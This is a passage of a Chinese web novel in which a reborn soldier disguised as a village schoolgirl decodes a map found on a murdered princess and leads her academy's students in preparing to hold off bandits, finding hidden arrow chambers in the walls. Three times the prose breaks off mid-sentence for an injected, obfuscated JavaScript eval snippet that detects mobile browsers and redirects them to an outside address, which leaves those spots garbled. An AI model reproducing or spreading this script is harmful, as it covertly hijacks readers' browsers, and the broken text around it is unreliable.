初暒想通后起身蹲跪在塔鲁阿茶左手边,以此视角再看右手指甲盖上的划痕便惊觉,这上面画的竟与从她在柳行知袖管里摸到的那卷地形图一模一样。 只是…… 书卷上有墨点滴落的地方,指甲盖上却是一处交叉路口。 邱阳说那是一份山脉地形图。 初暒抬头看着四面山峰高耸、入目尽是碧色的虔来山,暗道:真是不识庐山真面目,只缘身在此山中啊。 用力将塔鲁阿茶右手拇指的指甲盖扯下来,初暒又扒了她的衣裳换上,将自己带血的破烂衣衫套在这尸体上时又隐约觉得她身上好像少了点什么。 清晨路面潮湿,脚底满是泥泞土块,走起路来一高一低还黏糊糊的,直到初暒坐在地上将鞋底的泥块铲掉时才晓得塔鲁阿茶身上少的是什么。 她的脚上没有鞋。 初暒在尸体附近寻找许久也没有找到哪怕一只鞋子。 塔鲁阿茶脚上没有鞋,足衣却很干净,这说明凶手是在她死后将她的鞋子拿走的。 而这么些年了,初暒只听说在南夷民间有‘厉鬼赤足便无法找害他之人索命’的说法,她舔了舔后齿根冷笑一声,骂道,“北漠公主秘密在虔来山绘制山脉地形图,南夷人又在中北地界将她给杀了,娘的,边境驻军那帮吃干饭的,竟把他们放进来将我大兴朝当成想来就来的后花园了!” 生气归生气,初暒仍不忘思索北漠与南夷苍蝇一样围着的虔来山到底有何奥秘,她拿着从塔鲁阿茶手上扯下来的指甲盖想据图行走探看,又见此时天已经大亮,自己再不回去恐怕会引得安南书院众人胡思乱想,故而只能先将指甲盖小心收好,再按照日光偏移位置辨明出回书院的大致方向。 初暒将自己换下来的脏衣服捡起来收好,她看向瞧着自己一脸平静的赵芊芊,笑道,“你不说我都差点忘了,这身衣服是回来时一家农户大娘见我衣衫褴褛,便取了他家儿子小时候的衣裳借我穿的,还需送还回去呢。” “原来是这样,我还以为你被……” 赵芊芊及时住了口,初暒知道她想说什么也不在意,只道,“我先去东厨垫垫肚子,一会儿还得将这套 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888092|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣裳还给那农户大娘呢,这几天诸事杂多,大家身心都累了,要是有人问我在何处,你就说我在屋里歇着,别惹他们担心。” “好,不过现下虽然是白天,山里也还是荒凉,你将衣裳还回去后就早些回来,再不要乱跑了。” 初暒点点头,将床铺上的衣裳胡乱一包就抱在怀里出去了。 赵芊芊看她动作粗鲁实在不像个姑娘家,无奈摇了摇头后还是忍住给她收拾床铺的念头,转身去了男子校舍照顾受了惊吓的同窗们。 放过旬假之后本来应该正常开始上课,可安南书院先是夫子被抓捕,又是学生被土匪劫持,最后还险些丢了一个姑娘,如此一桩桩一件件任谁也没有心思扑在案头苦读,于是吴夫子做主发话,等大家安心休整几日再恢复课业。 在书院只要不读书,日子就十分美好。 栗铜仗着自己死里逃生,直到大中午还赖在床上不起,他靠在床榻吸溜吸溜喝着成非和苟旦带回来的米汤,对陈家宝说,“小胖,我实在没有想到你这体格还能骑得上马,居然还骑得相当不错,你平日嚷着自己会骑马,我还当你是瞎说的。” 成非问,“是啊,你爹平日不是最宝贝你了吗,怎么还敢让你学骑马呢?” 陈家宝纳闷道,“你不知道吗?我这马术就是初眠眠教的。” 成非:“眠眠?” “是啊,刚过完年,你们仨合谋来我家将我掳出去后,初眠眠带我去马场骑马时她教我的。” 成非疑惑,“眠眠体弱多病,小时候都没有出过柏桥村,哪里会骑马呢,要不是年前被马踏伤,她恐怕连马儿长什么样都不知道吧。” 苟旦也不知道,“眠眠何时会骑马了……” 栗铜嗨呀一声,“那丫头会骑马有什么了不起,就冲她敢独自去虔来山救我和陈家宝,她哪怕敢杀人我都觉得没什么大不了。” 成非应和般点了点头,揪住陈家宝又问,“你那时都不好奇为何我们三个费心将你带出来是何目的?” “那有什么好奇的,初眠眠将我带出来后就告诉我她的目的了,她与我做了一笔交易,那交易便是用教我骑马这事换我诓骗我爹给你们村捐粮。”陈家宝笑着向他解释,“不然你以为我爹,我那么抠门的爹为什么肯给你们柏桥村捐粮食。” 苟旦恍然大悟,“我听说你那日自己翻墙想出去,从围墙上掉下来,摔得满身都是伤痕,你不喊身上疼倒是捂着肚子哭了半宿这事也是假的了?” “自然。” 成非却皱眉问出困扰自己许久的问题,“那不是初眠眠诓你吃番薯糕,喜食荤腥油腻之人吃了番薯糕才会腹痛难忍?” 陈家宝回忆片刻说,“我骑马累了,初眠眠是给我吃过番薯糕来着,那糕点怪好吃的,临回家时我还央求她将番薯糕全部送给我来着,吃完除了放了几个屁也没有腹痛难忍吧,日子太久,我都不记得了。” 原来如此。 成非记起他曾对初眠眠冷嘲‘我们做的那事不光彩’,可她却反问自己‘你既觉得不光彩,那为何不向心中愧疚之人坦白,以求得他的原谅?’ 她确实替自己收拾了残局,帮全村人解决了麻烦,最后还要被自己埋怨。 成非苦笑,初眠眠从来没有视别人的性命于无物,她一直都坦坦荡荡,这些时日始终都是他在用对她的误解和厌恶这种方式来掩盖自己的懦弱、不敢承担责任。 “这世上假意关怀却冷眼旁观的好人多了,我宁愿做会花言巧语又行为粗鄙,但是能解决得了麻烦的烂人。”初暒瞥了一眼他,淡淡说,“不像你。” 成非暗道:对,不像我。 成非一脸自责不知道在想些什么,栗铜看他失神的模样想起自己似乎也需要自责,道,“前些日子实在是我对不住初眠眠,也亏得她肚量大不与我计较,还肯冒死前去虔来山搭救我与陈家宝,这份恩情我栗铜这辈子都忘不了,诶,赵芊芊不是在照看初眠眠吗?这会儿怎么在咱们院里,眠眠呢?” 屋内三人听见他这声都起身望向院里,随后又面面相觑,问道,“是啊,眠眠呢?” 44. 踩点 从女子校舍出来后,初暒并未离开安南书院,她将抱在怀里的包袱整理好捏在手里,避过往来学子,来到了夫子书房。 吴所仕握着书卷已在此处等候许久,他听外面有人敲门立刻搁下手中书卷,起身大跨几步将门拉开。 房内只有他一个人。 初暒问,“吴夫子,于先生不在书院吗?” 安南书院只有一个洒扫老汉,学生们都喊他于师傅,初暒这句‘于先生’倒让吴夫子心中一动,他反问,“你寻他做什么?” “邱夫子莫名被军狱院的官差带走,如今书院中或许只有他有法子打听到邱夫子所犯何事与近日情况。” “你破了‘鬼宅’的阵?” 初暒点点头。 她破了阵,发现了他的身份,所以知晓整个书院中只有他能打听到邱阳近况,吴所仕讶异了片刻,答她,“他已在外为邱夫子安危奔波,倒是你,怎么敢独自冒险进山从土匪手中抢人。” “那时情况紧急,顾不得什么敢不敢的。”初暒看着他认真道,“吴夫子,在虔来山绑了陈家宝与栗铜的土匪知晓我们都是安南书院的学生又在绑票一事上吃了大亏,我担心他们会伺机来书院报复,倘若能得官府派人护佑书院、震慑匪贼,是最好不过的。” 大亏? 能将三位同窗从土匪手中平安带回来,怎么可能只是因为自己跑得快,吴所仕问她,“绑了陈家宝与栗铜的是两个匪贼,你到底把他们怎么了?” 初暒想了想,回答,“一个死了,一个误以为将我灭口后跑了。” 她说的轻巧,可每说完一句,吴所仕的眉头就微蹙一分,他上下打量了初暒好一会儿也想不明白,就这么一个小姑娘如何能将‘死了’、‘灭口’这话讲的如此云淡风轻、轻而易举? 吴所仕努力不让自己把‘一个死了’这句话与初暒联想到一起,他顿了一下,说,“今日成非回来后仍不见你的踪影,我便委派学生去安南县衙报官寻人,可那些衙役只管推卸责任,声称虔来山已超他们管辖范围,不肯施救,报复一事说到底只是我们的猜测,官府衙役们太平日子过的太久,想来是不会为还没有发生的事搭上力气的。” 初暒明白夫子顾虑,但她也有自己的考量,“虔来山匪患已久,却一直不被上面放在眼里,是因为他们只劫小财,从不伤人性命,可自今年以来,虔来山落草土匪剧增,地盘竟已经圈画在安南山中,抢掠时甚至也开始用刀枪见真章,这其中蹊跷定然不小,他们要是与学生井水不犯河水,咱们或许还能客客气气与他们为邻,可如今这些土匪竟将手伸到了安南书院,再不提前应对、未雨绸缪,真有万一时,书院这些手无寸铁的学生便只能像那砧板上的鱼肉任人宰割了。” 吴所仕:“你的意思是要自保?” “对,既然官府指望不上,那我们就合力自保。” 她这一番话说的有理有据,吴所仕仔细倾听时不自觉将她当作一个成年人交谈,几乎忘记这丫头也不过是个十几岁的孩子,他微微颔首,垂眼思忖整个书院合力或对抗或自保之法是否可行时,瞧见初暒手中捏着一个灰布包袱。 “你拿着个包袱作甚?” “有样东西需要还出去。” 吴所仕本想提醒她,山里最近不太平,没有什么事就莫要出去晃荡了,可转念又觉得初暒行事总是心中有数,故而只说,“担忧匪贼报复并非杞人忧天,我立即着手书院防护一事,你此行诸事小心,早去早回。” “是。” 初暒行完礼后转身出去,吴所仕看着这个肩背挺得笔直的姑娘,心中有些疑惑她的见识与胆魄究竟是从何而来。 有学子嬉笑打闹的声音远远传来,吴所仕轻叹一声后开始在屋内书架斗柜中寻找安南书院的构建图纸。 初暒从安南书院翻墙出来,抄近道跑回了柏桥村。 五、六月间,正是田里收获粮食的时候,柏桥村各家各户都埋头在地里忙忙碌碌,悄悄走过村口时,初暒发现原先的荒地中已经被种上了菜苗。 晌午天气正热,农夫三三两两的背靠大树聚在一起闲聊,有人摇着草帽,道,“咱们当初虽说都按了还粮手印,但人家陈富户也明说了不必偿还,可初家那几个死心眼的非嚷嚷着要如数还回去,这真是的,辛辛苦苦种养出来的东西自己留着不好么,非得白白送到别人家去。” “是呢,再说那会儿又不是咱们不缴粮食,而是缴了被村长家着火给烧没了,按理说应该是苟家借粮,该还的粮食也该由苟家去还才对。” “唉…村长家的也不想还呢,可是又不得不听救命恩人家的话,早知道初家那个丫头能借到粮咱还按哪个手印做啥,横竖按不按的,她都能借到嘛。” “嘶……说起初家那个姑娘,叫…是叫眠眠吧,你说怪不怪,小的时候病的都下不了床,年前我听说在城里还让马给踩了一脚,拉回来的时候差点没气了,谁知只过了个年身上的伤就恢复了,连带从娘胎里带的病也见大好,要说她没点古怪,我是不信的。” “就是,我也发现了,哪有姑娘家敢进火场里救人的,还歘歘歘一口气救了一大家子人,借粮那阵儿,苟村长这小官当了这么多年都解决不了的事,一个丫头片子说借就能借到,借人家的东西,主家亲自送上门来也就罢了竟还感恩戴德的说不必再还,这些事不说没想到,一说出来我自己都有些不敢相信。” “你们说,初家那丫头是不是叫鬼上身了?我在晁都城里听说书人讲过被鬼上身的人是会跟以前不大一样的。” “哎哎这青天白日里怎的让你说的有些瘆得慌……” “行了行了快别说了,初家有人过来……” 初暒躲在土堆后面听村里人嚼舌根,看见娘和老爹左右手都拎着食盒走来时连忙弯腰低下脑袋藏好。 “大家都饿坏了吧,来来来先吃饭,吃完饭歇会儿再干……” “好嘞好嘞,多谢嫣红妹子,来来来大年也过来坐……” 一群人就着热风躲在树荫底下热热闹闹吃饭,初暒低语一句,“吃着我家的饭,还敢说我坏话。” 弯腰离开此处时,她暗想:难怪都说无风不起浪,这群人猜还挺准…… 趁着爹娘都在村口,兄长此时估计也在城里买点心,初暒快步来到老爹搭的木屋书房之中。 木屋里很干净,想来她在安南书院读书这几个月,每隔几日就会有家里人过来替她清理洒扫,将手中捏着的灰布包袱搁在书房中搭起的简易木床上,初暒翻看着放在书架上的手抄书本。 每本书封面左下角都用规整的小楷书写了‘初眠眠’,而翻开封面后的第一面扉页上则用笔尖小小的写着‘初暒’二字。 她很喜欢自己的名字。 初暒捧着书本轻轻摩挲过那两个字,然后捏起书页一角利落的将写着这两个字的扉页齐整撕下。 将书房内所有写着‘初暒’二字的扉页撕下带走,初暒再次经过村口田间看到正与同村收拾菜碗的初家父母时,于隐蔽一隅朝他们跪下重重叩了一首。 今生做他们的女儿是她的幸运,却是他们的不幸。 从柏桥村出来回到安南山已是傍晚。 初夏天,白昼变长,山下还有明亮夕阳,山里却已经变得昏暗幽深。 平日里常在山间锻炼体能,初暒已经对安南山各处如数家珍,因而即使天光黯淡,她也仍能在林间疾步向前。 以前这个时辰,常有鹰鹃在头顶盘旋嗥叫,可不知为何今日的安南山中格外安静。 初暒越走越觉得不安。 总算回到安南书院,初暒不去正门,只随便找了一处书院围墙翻身进去。 她双脚刚落地,就在院内一处犄角旮旯里发现一个举着擀面杖躲在里面浑身打摆子的男孩。 初暒蹲下来,小声问他,“嘿,你藏那儿干嘛呢?” “啊!!!” 没想到自己躲在这儿也能被人发现,男孩崩溃的大叫一声,这惊恐地声音让初暒诧异 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888093|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她又问,“你别怕,我是咱们书院的初眠眠,不是坏人。” 一听这个名字,那男孩立即住了口,他丢掉擀面杖连滚带爬的从旮旯里钻出来,哭着埋怨,“初眠眠,你跑哪儿去了,为何满院人寻你都寻不见啊!” “寻我做什么?” “方才…方才吴夫子正带着几个人在书院外围查看,忽然有人发现附近树林中有人影晃动,再仔细一瞧又被对面泛着光的利器闪着了眼,等他们意识到那里面钻着的是何人时都惊慌失措的往回跑,许是见学生害怕,山林中竟还传出了土匪们肆意嘲笑的声音,陈家宝说咱们书院只有你知道如何对付土匪,可是我们怎么也找不到你!” 初暒知道南夷‘土匪’要来报复,可是没想到他们会来的这么快。 “吴夫子现在何处?” 男孩答,“我带你去。” 从前只在别人口中听说过土匪,如今亲眼见了才知道什么是害怕。 有的学生怕土匪闯进来胡乱砍杀,各自都捉迷藏似的钻在一般人找不见的角落,有些学生怕书院不安全想赶紧回家找爹娘,被苟旦和栗铜吓唬说土匪就在外面,当心他们跟着你回家方才打消念头,有的年岁还小,被他们这话吓得嗷嗷直哭,赵芊芊安抚完这个又去哄那个,忙得不可开交。 吴所仕则在学生们的啜泣声中围着讲经堂案几急得团团转,邱阳不知是否还好好活着,于允芳也不见回来,就连稍微能指望上的初眠眠一下午了仍不见踪影。 他活了一把年纪,只吃过名落孙山的苦,那里遭过担惊受怕的难,正在心力交瘁、不知所措之时他听有人喊,“眠眠回来了!” 泛黄的眼珠子登时一亮,吴所仕连忙冲了出去。 “吴夫子。” “你可算回来了,果不出所料,安南书院外已有土匪埋伏,眼下喊人去报官已经来不及了,这可如何是好啊。” 此时夜已经黑了,书院里还没有点灯,初暒将他们带回讲经堂,沉稳道,“您先别急,土匪在外面等了许久还没有动手,这说明他们也摸不准安南书院的深浅,下午惊动你们的举动可能只是在踩点。” 吴所仕问,“你是说短时间内他们不会硬闯进来?” 初暒:“是,安南山毕竟不是他们的地盘,他们也在猜,若是咱们一丢人就报了官,此时有官差正往书院赶也说不准。” 她这话让众人都松了一口气,初暒见他们总算冷静下来,又说,“现在最要紧的事是先查看书院中所有人员是否够数,如果不少一人,则需要将所有人都安置在一处安全的地方不能乱跑,其次再在其中挑选一些胆大心细之人分别组建出巡逻、守门、侦查、联络、医治五队,以备不时之需。” 吴所仕想了想,道,“讲经堂地处安南书院正中央,且三面是墙,地方也宽敞,只要大家挤挤应该能容纳整个书院的学生。” 初暒:“好,那便劳烦大家按照吴夫子说的,尽快将躲藏在书院各处的同窗们唤回讲经堂中。” 她言毕,围在此处的学生立刻应声跑出去低声寻找,没一会儿,安南书院所有人便都汇聚在了讲经堂。 大家报完数,确认人齐了之后,栗铜最先站出来说,谁惹出来祸事,也该由谁承担,他愿意带人守住书院各门。 成非紧接着起身说,自己不怕黑,他敢独自在书院中穿梭联络报信。 赵芊芊也举手轻声道,她小时候身体不好,曾跟着家里的大夫学过包扎和识认草药,医治小伤之类她能担下来。 苟旦则直接站在初暒身后,拍拍胸膛,“眠眠去哪儿我就跟到哪儿。” 几个职责都有人愿意承担,初暒却只对苟旦说,“你要做的事比跟着我重要。” 苟旦担心极了,“我知道你肯定会将最危险的事情留给自己,你身边必须跟着人我才能放心。” 初暒笑笑,从讲经堂黑压压一片中准确找出那个正埋着脑袋装鹌鹑之人—— “陈家宝,你随我在书院做侦察可好?” 45. 暗室 幸好是夏天,夜里有风但并不太冷。 吴所仕差了几人从校舍取来数十张草席薄被,学生们将讲经堂里的诸多案几堆放在靠门一侧,又把草席拼凑起来躺靠在一起休息,赵芊芊不喜人多,独自捧着草药纱布在角落里安安静静地分类整理。 看到书院众人已经全部安顿下来,栗铜在初暒的示意下带人去守书院各门,苟旦也和成非分别领了一支小队出去,沿着书院内里围墙往来巡视。 大家都在各司其职,陈家宝坐在讲经堂门口石阶上小声说,“那么多身强体壮、聪明机灵的你不要,偏偏选个手不能提肩不能抗的我作甚……” 给同伴们交代完要注意的事项刚把他们送走,初暒就听他这声嘟囔,“自然是因为身体强壮的不如你机灵,聪明机灵的又没有你强壮了。” 她在打趣自己,陈家宝没有被这句花言句巧语夸得找不着北,只执拗问,“我不开玩笑,你也好好说,你平日与苟旦关系那样要好,危机时刻为何却选我与你一起并肩?你就不怕要是遇着歹人,我先跑了,弃你于不顾?” 初暒叉腰站着,笑说,“遇着危险转身就跑不给别人添麻烦是对的,我观安南书院众弟子中,只有你与自己的性命最亲,逃命时跑得也最快。” “这不是说,你其实也没指望我能帮你什么忙嘛……” 初暒挑眉笑笑,陈家宝却越想越委屈,“我也不会那么不讲义气…只是我爹年纪大了,又只有我一个孩子,我就是想好好活着给他养老么……” “陈家宝。”初暒接住他的话,看着他郑重说,“你机警聪慧,能洞观时局、权衡利弊,我选你并非没有指望,而是有一个忙,只有你能帮我。” “什么忙?” 陈家宝迫不及待地问,而初暒只是笑笑并不回答。 陈家宝点点头,心中了然,她不说话,自然是还不到要他帮忙的时候。 夜已经深了,讲经堂内头一次以这种方式聚在一起睡觉的学生们还是有些亢奋,饶是人人惧怕的吴所仕也无法让他们尽早安睡。 “这么晚了,土匪都睡了你们还在闹,再不尽早歇下,当心明日被土匪追赶时没有精力逃脱。” 赵芊芊抱着双臂靠在角落低语,甚至连眼皮都懒得抬起,可就这么冷不丁冒出来的一句话竟比什么安抚与劝说都管用。 堂内霎时安静下来,所有学生都搭着薄被乖乖窝好,吴所仕站在门口捻须扫视过躺在地上紧闭双眼以至面部都有些扭曲的孩子们,对着闭目休憩的赵芊芊啧啧一声,暗自疑惑—— 如今的女娃娃怎么一个比一个手段…… 吴所仕从讲经堂里踮脚出来,初暒立刻迎上去问,“吴夫子,听说您下午带了学生去书院外围查看,您是去看什么了?” 从袖袋里摸出一份图纸,吴所仕递给她后解释说,“这是安南书院的构建图纸,我听闻书院在建造时曾规划过防御工事,可在这图纸上却怎么也瞧不出来具体位置,这才带着人外出查看,不过……即使亲眼去看,也还是一无所获。” 图纸绘制的线条简洁清晰,让人一看就能辨明安南书院各间屋舍的朝向、位置与格局,初暒在脑海里将记忆中的书院建筑与这份图纸上描绘的一一对应起来,忽然间觉得某处占地范围似乎有些奇怪。 她用指尖点着安南书院的门楼位置,问,“依照制图六体来看,图上的讲经堂分率与其实际大小是能对应上的,可是你们瞧,图纸上门楼的面积是不是要比门楼实际占地要大一些?” 陈家宝问,“啥是分率?” 初暒答,“制图时用以反映图纸与实际建筑的面积、长宽之比例的就是‘分率’。” 吴所仕凑过来借着从讲经堂门窗透出来的烛光,强忍着赞赏眯眼点头,“不错,我瞧着也觉得图上绘制的门楼大了些。” 初暒:“那我们去门楼看看。” 为了不引在外埋伏的土匪注目,栗铜嘱咐守门的同窗们不要点灯,换班或是想去如厕的只扶着墙小心行走就是。 他说完一侧首,就瞧见陈家宝正带着吴夫子与初暒朝此处走来,“你们怎么来了。” 陈家宝看向初暒,听她道,“我觉得此处可能有暗室或是机关。” 栗铜:“啊?我在安南书院读书这么些年,翻箱倒柜、爬墙挖洞哪样少得了我,却从来都没见过有什么暗室呐。” 吴所仕咳咳一声,示意自己还在这儿呢。 栗铜撇了撇嘴,调皮地噤了声。 初暒没注意到他们之间的动作,她先站在院中将整个高大门楼收进眼里,而后又靠近门楼内侧贴耳边敲边听。 安南书院整体均是由砖瓦组建,墙体十分厚实坚固,她用指节扒着墙面敲了好几处全都只能听到沉闷而微小的咚咚声。 “就说不可能有暗室了……” 栗铜话音刚落,就见初暒抬臂拍掉手边砖缝余灰,踮脚将嵌在墙面的一块砖头用双指捏了出来,他瞪着眼睛连忙挤过来瞧,惊讶问,“你怎知这块砖能抽出来啊?” “敲砖面听不出古怪,要敲砖角才行。” 手中的砖块似乎要比寻常砖块长一些,反复查验无异后,初暒顺手将它递给栗铜,“你伸手进去摸摸里面有什么,我实在够不着。” 总算有用到自己的地方了,栗铜美滋滋的将手伸进缺了一块砖头的墙面空隙中,可只一瞬,他就捂着嘴直‘呜呜’。 “里面……里面是空的!还有……活物!会动!会动呢!” 会动? 初暒把顶门的石凳扭过来,自己踩上去伸手进去摸索。 陈家宝呲着牙躲在吴夫子身后看着初暒,生怕她也会被吓的大喊出声,惊了埋伏在门外不远处的土匪们。 然而他意料之中的喊叫并没有发生,初暒贴着墙面将手臂整个伸进去,好一会儿都没有动作。 栗铜等得不耐烦刚要问初暒在做什么,就看见她肩膀一用力,自己身后立刻有石门缓缓打开的声音,大家都闻声回头去瞧,竟看见面前砖墙上有一道砖门凭空出现,门楼这里果真像初眠眠猜测那样有一间暗室。 有胆大的想探头进暗室里瞧瞧,初暒又说“等等”,瞅她还想去砖门墙面上查看,陈家宝立即眼疾手快的将石凳推过去扶她踩上。 砖门大小正好避开了对面空着砖块的方洞,初暒在墙面相同高度、位置又抽出一块比寻常砖块稍长的砖头,将手伸进去一推,身后墙面也有一扇砖门缓缓打开。 栗铜张着嘴惊讶道,“原来这暗室还是对称的!” 吴所仕问,“你方才在那洞里摸什么呢?” 初暒从石凳上跳下来,“栗铜说里面有东西会动,而抽出来的砖块又比寻常的长一些,于是我便猜想,是否墙内有一装置是被这长砖块卡住的,等有人将砖块抽出时,装置就开始自行摇动,我将手伸进去许久没有动作,其实就是在等那装置摇到我手边,好让我抓住它,我本来只想看看装置长什么,也没想到那居然还是暗室钥匙。” 陈家宝轻轻拍手,他即钦佩,可又有些纳闷,“你这脑子怎么长的,怎么什么都能猜到啊……” “运气吧。” 初暒耸耸肩从怀里摸出火折子率先进了离自己较近的暗室中。 暗室不大,内里又反复错杂的交叉着许多木架绳索,顶多只能由两人弯腰进入,初暒疑惑这些绳索有何作用,余光看见一个环形绳扣前的砖面上似乎透着细长光柱。 ‘呼!’ 她将手中火折子突然吹灭,栗铜被眼前的黑暗吓了一跳,脚下又不知踩着什么圆乎乎的,让他滑了个踉跄,“你干啥呢……诶?这墙面怎么还透着光?” 砖面上有缝隙,山间皎皎明月光芒从缝隙中穿了进来,初暒蹲下摸到差点将栗铜滑倒的东西,勾着嘴角,笑道,“原来如此。” 跌跌撞撞的跟她出来,栗铜问,“你又发现什么了?” 初暒再次拿出安南书院建构图纸展开在众人面前,依东南西北四方指出与实际占地不符的位置,“东厨后院、正门门楼、崇义斋西侧门还有校舍后门,这四处地点均有类似这样的暗室,方才我查看过,暗室中的绳索与木架皆是为射出箭矢预备的。” 陈家宝问,“在密闭暗室中如何能射出箭矢呢?” “砖墙并非密闭,墙上部分砖块同门楼里的长砖块一样是虚搭在上面的,箭矢蓄力弹出时便会将其顶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888094|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掉,未加固定的砖块被顶掉后,正面砖墙就会像守城雉堞一样既可以利用它掩护自己也可以透过它攻击外敌。” 栗铜:“听起来挺厉害的,但是咱们书院可没有箭矢可用啊。” 初暒:“刚刚险些让你滑倒那东西就是箭矢。” 栗铜闻言,立即转身进暗室在地上摸索,片刻后他举着一根被削的尖锐的竹节跑出来,满脸喜色,“竟是根竹子!” “那咱们手里也算是有‘兵器’了!”陈家宝还没来得及高兴,转念又想起问,“那暗室里的竹子还多不多?” “呀!”栗铜一拍大腿,“我就只摸见了这一根!” 他这话让已经轻快起来的气氛重又沉寂下来,手里没有利器,再厉害的装置放在身边也无用。 “没有竹子,可以进山去砍。”初暒说,“我知道离书院不远有一片竹林。” 栗铜哭丧着脸,“土匪们可就在外面呐,咋出去呀。” “我…那个……”陈家宝支支吾吾,“封院的时候,我不是常偷跑出去下山进货么,我嫌墙高,爬高上低的危险,所以雇人在校舍后门挖了个十分隐蔽的狗洞,一般人不注意根本发现不了……” “那就从狗洞出去。” 初暒看向始终一言不发的吴夫子,道,“吴夫子,从这张构建图纸上看,如果我指出的其余三处地点均有暗室,那么整座安南书院就像是一座防御工事完整、易守难攻的小型城邑,倘若‘箭矢’数量充足,那么即使埋伏在外的土匪敢大肆挥刀强攻,我也有把握带大家护住安南书院。” 这丫头只看了一眼建构图纸就能找出所有的暗室,甚至还晓得暗室中的装置如何作用,如此奇异之举显然已经不能只用运气好来解释了。 吴所仕心中有万千疑问,但口中只说出一句,“你已经许久没有合过眼了。” 陈家宝与栗铜也看向初暒,他们心中都清楚,从邱夫子被带走、自己被劫持那晚至今,她一直在为同窗与书院众人的安危奔波,还不曾坐下休息过。 初暒淡淡笑了一下,吴夫子不说她还没意识到,自己忙碌的这些天好像又回到了前世在军营中的日子,那时每天都有打不完的仗、操不完的心和使不完的力气。 就像现在这样。 她丝毫感觉不到疲惫,只觉得自己好像就快要回到从前的时光了。 栗铜:“眠眠,你将竹林的位置告诉我们,我带人去砍竹子回来,今夜你先好好歇着,只有你养好精神了,才有精力带着我们合力自保呢。” 陈家宝也附和,“命就一条,累死就没有了,你也须得和自己的性命亲一点。” 初暒被他们逗乐,低头轻笑一声,点头,“好,那我就将竹林位置告知你们,切记速战速决,不要贪多,万事小心。” 栗铜:“你只管放心。” “还有……”初暒看向陈家宝,补充说,“如果能顺利出去,你们兵分两路,栗铜带人去砍竹,你找个伴儿下山报官。” 安南山上的真有土匪了,县衙总不会再推辞不管吧。 陈家宝点点头,“好!” 将通往竹林路上一些重要且显眼的地标详细给他们说完,栗铜又向守门同窗叮嘱了几句,陈家宝才同他和几个强壮的带着锯子从狗洞爬出去。 把他们送走,吴所仕和初暒一起往将讲堂的方向走。 从这几日的相处来看,初暒觉得吴所仕并非像初次在书院中听到的那样‘在他跟前挂上了号,你在安南书院是不会有好果子吃的。’ 毕竟他能在学生不见踪影时豁出自己一把老骨头进山去找,也会对兴奋地难以入眠的孩子好言相劝,更会在学生直言自己调皮捣蛋事迹时噤声当没听见。 初暒前世没有夫子,所有的学问都是母亲教的,故而不晓得原来有的人即使不收徒,也会对向学之人倾囊相授,原来有的夫子即使古板严厉,也会为学生倾尽心力、赴汤蹈火。 两人一路并肩无言,快到讲经堂门口时,初暒忽然听身旁夫子道—— “你曾说‘世间种种偏见,都是由人生出,也都是由人打破’,此言老夫至今才深有体会,以往诸事是我浅薄,还请你……多包涵。” 46. 拖延 初暒窝在草席上睡得很不安稳。 耳边除了有低声说话的声音,还有利器削砍硬物时让人直起鸡皮疙瘩的摩擦声。 她迷迷糊糊睁开眼,撑着身子坐起。 见初暒醒来,赵芊芊停下手中的活计,轻声说,“天还未明,再睡会儿吧。” “栗铜他们可回来了?” “嗯,都回来了,五六个人反复运回来许多根竹子呢,吴夫子吩咐我们将这些分别砍削成尖锐竹节或锋利竹矢。” 初暒拿起已经削好的竹矢,又问,“我睡着时苟旦是否来过?你知不知晓他夜里巡视时是否发现什么异常?” 从没有见过她这般小心谨慎的模样,赵芊芊笑笑说,“你交代的谁敢不从,他每隔半个时辰就会来看你一次,顺便告诉吴夫子书院内外一切如常,喏,那不是又来了。” 说曹操曹操到。 赵芊芊余光瞥见苟旦兴冲冲的从窗外跑过,直奔正靠在讲经堂门口休息的吴夫子,喊道,“吴夫子不好了!栗铜发现山林中有数十人影正猫着身子向咱们书院正门方向缓缓挪动呢!” 吴所仕还在反应这孩子突如其来的叫喊,初暒先抱着已经削好的竹矢‘蹭’的起身,“苟旦你喊几个人将已经做好的竹矢一半带到门楼,一半分给其他三处暗室驻守!” 苟旦:“好。” 苟旦应声挥手让自己的巡逻小队将搁在地上的竹矢抱起带走,初暒则缓步走到堂前看着神色已经有些苍白的同窗们,安抚说,“咱们书院四面院墙高耸又都有发射竹矢的暗器装置,因而只要竹矢足够多、足够尖锐,那么将土匪们挡在门外也不是什么难事,希望大家不要慌张,只专心在此处削砍竹矢,而且咱们已有同窗混出去报官了,只要大家全力准备尖锐竹矢,为官差援救多争取些时间,我相信所有人一定能平安度过此难。” 初暒神色如常、语气坚定,这样的人无论说出怎样异想天开的话都很难让人不相信,于是大家都无声点头,继续握着手中竹节反复用刀削磨。 